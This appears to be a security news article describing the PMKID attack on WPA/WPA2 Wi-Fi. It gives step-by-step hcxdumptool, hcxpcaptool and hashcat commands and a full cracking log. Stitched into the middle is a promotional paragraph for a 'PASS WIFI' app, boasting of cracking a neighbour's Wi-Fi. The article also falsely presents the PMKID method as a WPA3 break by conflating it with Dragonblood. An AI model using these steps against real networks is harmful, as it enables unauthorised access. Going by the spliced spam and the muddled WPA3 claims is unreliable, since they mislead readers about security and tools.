New Attack method for WiFi hackers discovered to hack WiFi Password secured with WPA/WPA2 in WiFi networks that allow attackers to gain a Pre-shared Key hash that is used to hack Wifi Password used by targeted victims.
WiFi Alliance recently updated the WiFi protocol WPA3 and claimed that impossible to crack since it deployed with a high-level encryption protocol.
But the researcher provides it wrong by exploiting the vulnerability and named it Dragonblood.
Wi-Fi Protected Access (WPA) available since 2003, later security researchers find a severe vulnerability in WPA that let WiFi hackers could easily exploit and take over the WiFi Network.
Later WiFi Alliance fixed the vulnerability and released WPA2 in 2004 which is a common shorthand for the full IEEE 802.11i which required to certificate from WiFI Alliance to protect the network from WiFi hackers.
Very recently, WPA3 was announced by Wi-Fi Alliance as a replacement for WPA2 after a researcher found the critical vulnerability in WPA2 that allows WiFi hackers to take over the vulnerable network.
This new WiFi Hacker Method is discovered during the attack against the recently released WPA3 security standard which is exceedingly harder to crack since it used Simultaneous Authentication of Equals (SAE), a new key establishment protocol.
The new WP3 Security Standard released by Wi-Fi Alliance provides Next-generation Wi-Fi Security with new capabilities to enhance both personal and enterprise networks and the new WP3 security standard that is a successor of WPA2.
The researcher finds this attack for WiFi Hacker to compromise the WPA/WPA2 password without performing EAPOL 4-way handshake.
According to Steube who is the developer of the Hashcat password cracking tool, The new attack is performed on the RSN IE (Robust Security Network Information Element) of a single EAPOL frame.
Also, this attack works Against all types of 802.11i/p/q/r networks with roaming functions enabled, and it’s unclear how many vendors and how many routers this technique will work.
If you are looking for an app that gives you free access to the Internet then this is it! This app is really the fastest to hack WiFi passwords.I tested it myself and was very pleasantly surprised by how easy it was to crack my neighbor’s WiFi code.
Its installation is very simple, just go to the publisher’s website to download PASS WIFI.
Once it is launched, you will have the wireless network around you with their password displayed on your screen. You will have a lot of fun accessing the Internet network around you using PASS WIFI.
A robust Security Network Information Element (RSN IE) is an optional one in 802.11 management frames and its works in a single EAPOL frame.
Pairwise Master Key ID (PMKID) can be captured from RSN IE whenever the user tries to authenticate with the router.
“Here we can see that the PMKID that has been captured is computed by using HMAC-SHA1 where the key is the PMK and the data part is the concatenation of a fixed string label “PMK Name”, the access point’s MAC address and the station’s MAC address.”
In order to make use of this new attack, as a WiFi Hacker, you need the following tools:
First Run hcxdumptool to gain the PMKID from the AP and dump the file in PCAP format using the following code.
$ ./hcxdumptool -o test.pcapng -i wlp39s0f3u4u5 –enable_status
The output looks like this:
start capturing (stop with ctrl+c)
FILTERLIST……………: 0 entries
MAC CLIENT……………: 89acf0e761f4 (client)
MAC ACCESS POINT………: 4604ba734d4e (start NIC)
EAPOL TIMEOUT…………: 20000
DEAUTHENTICATIONINTERVALL: 10 beacons
GIVE UP DEAUTHENTICATIONS: 20 tries
Run the next tool called hcxpcaptool to convert the captured data from pcapng format to a hash format accepted by hashcat using the following code.
$ ./hcxpcaptool -z test.16800 test.pcapng
The content of the written file will look like this and it split into 4 columns.
PMKID * MAC AP * MAC Station * ESSID
Also, Researcher recommends for WiFi Hacker that, While not required it is recommended to use options -E -I and -U with hcxpcaptool. We can use these files to feed hashcat. They typically produce good results.
$ ./hcxpcaptool -E essidlist -I identitylist -U usernamelist -z test.16800 test.pcapng
Finally, Run hashcat to crack it, we need to use the hash mode PMKID -16800, and we can be used this hash as any other hash type using the following code,
$ ./hashcat -m 16800 test.16800 -a 3 -w 3 ‘?l?l?l?l?l?lt!’
Finally, it cracked the hash WPA-PMKID-PBKDF2
hashcat (v4.2.0) starting…
OpenCL Platform #1: NVIDIA Corporation
* Device #1: GeForce GTX 1080, 2028/8112 MB allocatable, 20MCU
* Device #2: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU
* Device #3: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU
* Device #4: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Minimum password length supported by kernel: 8
Maximum password length supported by kernel: 63
Watchdog: Temperature abort trigger set to 90c
Time.Started…..: Thu Jul 26 12:51:38 2018 (41 secs)
Time.Estimated…: Thu Jul 26 12:52:19 2018 (0 secs)
Guess.Mask…….: ?l?l?l?l?l?lt! 
Guess.Queue……: 1/1 (100.00%)
Speed.Dev.#1…..: 408.9 kH/s (103.86ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
Speed.Dev.#2…..: 408.6 kH/s (104.90ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
Speed.Dev.#3…..: 412.9 kH/s (102.50ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
Speed.Dev.#4…..: 410.9 kH/s (104.66ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
Speed.Dev.#*…..: 1641.3 kH/s
Recovered……..: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress………: 66846720/308915776 (21.64%)
Rejected………: 0/66846720 (0.00%)
Restore.Point….: 0/11881376 (0.00%)
Candidates.#1….: hariert! -> hhzkzet!
Candidates.#2….: hdtivst! -> hzxkbnt!
Candidates.#3….: gnxpwet! -> gwqivst!
Candidates.#4….: gxhcddt! -> grjmrut!
HWMon.Dev.#1…..: Temp: 81c Fan: 54% Util: 75% Core:1771MHz Mem:4513MHz Bus:1
HWMon.Dev.#2…..: Temp: 81c Fan: 54% Util:100% Core:1607MHz Mem:4513MHz Bus:1
HWMon.Dev.#3…..: Temp: 81c Fan: 54% Util: 94% Core:1683MHz Mem:4513MHz Bus:1
HWMon.Dev.#4…..: Temp: 81c Fan: 54% Util: 93% Core:1620MHz Mem:4513MHz Bus:1
Started: Thu Jul 26 12:51:30 2018
Stopped: Thu Jul 26 12:52:21 2018
When we look at previously available WiFi Hacking attacks for WiFi Hackers, we need to sit back and wait until the target user logs in later we can crack the key by capturing the four-way handshake.
To get access to the PMKID, this new attack has to attempt to authenticate to the wireless network later we can easily hack the WiFi password and the crucial pre-shared on behalf of the WiFi Hacker.
Also, this method is much easier to access the hash that contains the pre-shared key, and later moment the hash will be cracked; also this attack is a little complex based on the complexity of the password.
Recently WiFi Alliance released a highly secured protocol WPA3 for WiFi Networks but WPA3 was Hacked again by the team of security researchers due to a security flaw in the protocol. Using the above method now WiFi Hackers can hack the WiFi Password.
This article is completely for educational purposes, please do not attempt to test any WiFi network without permission.
A critical remote code execution vulnerability has been patched as part of the Wordpress 6.4.2 version. This vulnerability exists in…
Hackers target email accounts because they contain valuable personal and financial information. Successful email breaches enable threat actors to:- Identity…
PlugX malware is sophisticated in evasion, as it uses the following techniques to avoid detection by antivirus programs, making it…
Hackers exploit Outlook and WinRAR vulnerabilities because these widely used software programs are lucrative targets. Outlook vulnerabilities offer:- Access to…
An unauthenticated Bluetooth keystroke-injection vulnerability that affects Android, macOS, and iOS devices has been discovered. This vulnerability can be exploited…
Atlassian has been discovered with four new vulnerabilities associated with Remote Code Execution in multiple products. The CVEs for these…